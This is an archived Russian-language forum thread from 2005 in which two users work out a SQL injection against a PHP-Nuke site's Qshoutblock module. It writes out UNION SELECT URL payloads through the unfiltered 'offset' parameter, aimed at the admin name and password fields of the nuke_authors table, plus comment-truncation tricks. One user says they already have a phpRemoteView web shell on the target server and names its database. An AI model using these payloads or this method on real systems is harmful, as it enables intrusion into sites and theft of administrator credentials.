PDA

Просмотр полной версии : помогите с sql инъекцией


z0pa
06.07.2005, 11:24
есть скрипт в нем такая строка:
$query = "select * from ".$prefix."_quiecom_shoutblock order by id desc limit $start, $conf[17]";
переменная $start не фильтурется и берется из значения урла OFFSET, переменная $conf[17] всегда равно 25
я пробовал сделать так:
/modules.php?name=Qshoutblock&offset=0,25 UNION SELECT null,name,pwd,aid,null FROM nuke_authors LIMIT 0
переменную $conf[17] он засунуть засунуть в конец запроса и получиться
... FROM nuke_authors LIMIT 0,25
---------
но почему то не прокатывает так, пробовал провести через шелл пхпешный он мне выдает ошибку, пробовал и так и сяк понял что не хочет работать с order by ..., без него скрипт выполнялся (в шелле).
подскажите возможно ли всё таки как то составить запрос что бы он выдал мне значения из другой таблицы

Rebz
06.07.2005, 14:23
попробуй после после nuke_authors поставить /*
т.е. у тебя получится:
/modules.php?name=Qshoutblock&offset=0,25 UNION SELECT null,name,pwd,aid,null FROM nuke_authors /*
LIMIT 0 - хз, но помоему это можно опустить..
по поводу таблиц - ну тебе наверно лучше знать какие там существуют таблицы, главное, чтобы sql-инъекция была).

z0pa
06.07.2005, 14:36
2Rebz:
пробовал и так, но экран остается белым и всё.
какие таблицы там я знаю, это нюковский движек. там лежит phpRemoteView и в нем я могу на ПХП выполнять скрипты, делал так:
$dbc = mysql_connect('localhost','юзер','') ;
mysql_select_db('nkchatr7_nuke',$dbc);
$query = "select * from nuke_quiecom_shoutblock order by id desc limit 0,1 UNION SELECT 0,name,pwd,aid,0 FROM nuke_authors";
$res = mysql_query($query,$dbc);
while($str = mysql_fetch_array($res)) var_dump($str);
mysql_close($dbc);
так не работает даёт ошибку, если запрос изменить т.е. заключить в скобки всё до UNION работает и если убрать ORDER BY тоже работает, но этого я не могу сделать через УРЛ. вот я просто и хочу знать всё таки через УРЛ как то можно пробиться в таблицу nuke_authors или все таки бесполезно.

Rebz
06.07.2005, 14:46
Что-то я не заметил...
SQL-inj. проверяется наличием ковычки.. т.е,:
/modules.php?name=Qshoutblock&offset=0,25' . Ковычка не экранируется?
если запрос изменить т.е. заключить в скобки всё до UNION
так и надо делать.. если инъекция есть, то в дальшнейшем будет:
/modules.php?name=Qshoutblock&offset=0,25' union select .... from nuke_authors /*

попробуй это в браузере...
ORDER BY кажется нельзя убрать.. только если в комменты засунуть.. - /*

z0pa
06.07.2005, 14:59
да, если написать:
/modules.php?name=Qshoutblock&offset=0'
выдает ошибку:
Error in query: select * from nuke_quiecom_shoutblock order by id desc limit 0', 25. Array
вот от сюда я и начать плясать
но ORDER BY ни как через УРЛ не закоментировать, ибо переменная через которую можно инъектировать уже после него находиться.
может всё таки как то можно их увязать?!
чувствую это дырка, но где она :)

Rebz
06.07.2005, 15:02
ага, значит всё нормуль.. инъекция есть..
в дальшнейших запросах эту ковычку не убирай..

z0pa
06.07.2005, 15:15
по идее должно нормально сработать такой урл:
/modules.php?name=Qshoutblock&offset=0,25 /*
но он выкидывает на начало страницы, походу дела стоит какой то фильтр